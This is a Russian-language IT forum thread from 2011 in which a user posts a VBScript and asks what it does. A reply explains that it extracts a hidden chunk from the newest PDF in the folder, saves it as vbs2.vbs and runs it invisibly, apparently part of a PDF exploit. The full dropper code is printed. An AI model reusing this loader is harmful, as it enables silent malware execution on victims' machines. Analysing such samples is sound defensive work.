VBS/WSH/JS - VBS скрипт

Внимание, важное сообщение: Дорогие Друзья!
В ноябре далекого 2001 года мы решили создать сайт и форум, которые смогут помочь как начинающим, так и продвинутым пользователям разобраться в операционных системах. В 2004-2006г наш проект был одним из самых крупных ИТ ресурсов в рунете, на пике нас посещало более 300 000 человек в день! Наша документация по службам Windows и автоматической установке помогла огромному количеству пользователей и сисадминов. Мы с уверенностью можем сказать, что внесли большой вклад в развитие ИТ сообщества рунета.

Но... время меняются, приоритеты тоже. И, к сожалению, пришло время сказать До встречи! После долгих дискуссий было принято решение закрыть наш проект. 1 августа форум переводится в режим Только чтение, а в начале сентября мы переведем рубильник в положение Выключен

Огромное спасибо за эти 24 года, это было незабываемое приключение. Сказать спасибо и поделиться своей историей можно в данной теме.

С уважением, ваш призрачный админ, BigMac...

VBS/WSH/JS - VBS скрипт

hazejkeo

Новый участник

Сообщения: 13
Благодарности: 0

Профиль | Отправить PM | Цитировать

Что он делает, и правильный ли он?

Код:

Dim BS  
Set BS = CreateObject("ADODB.Stream")  
BS.Type = 1  
BS.Open  
BS.LoadFromFile FindLastModified(".")  
BS.Position=72160       
s = BS.Read (87286     -72160     )  
BS.Close  
BS.Open  
BS.Write s  
BS.SaveToFile "vbs2.vbs",2  
BS.Close  
dim www  
set www = wscript.createobject("wscript.shell")  
www.run "vbs2.vbs",0,FALSE  
Function FindLastModified(strDir)    
Set objFSO = CreateObject("Scripting.FileSystemObject")    
Set oFolder = objFSO.GetFolder(strDir)    
d = CDate("1/1/1950")    
For Each oFile In oFolder.Files    
If oFile.DateLastModified > d and InStr(oFile.Name, ".pdf") > 0 Then    
NewestFile = oFile.Name    
d = oFile.DateLastModified    
End If    
Next    
FindLastModified = NewestFile    
End Function

Отправлено: 13:31, 30-03-2011

Petya V4sechkin

Сообщения: 53589
Благодарности: 15546

Профиль | Отправить PM | Цитировать

hazejkeo, выбирает в текущей папке самый новый PDF-файл, считывает из него 15126 байт по смещению 72160, сохраняет их в файле vbs2.vbs и запускает. По всей видимости, часть PDF-эксплойта (который вы уже пытались выложить в предыдущей теме).

Отправлено: 14:46, 30-03-2011 | #2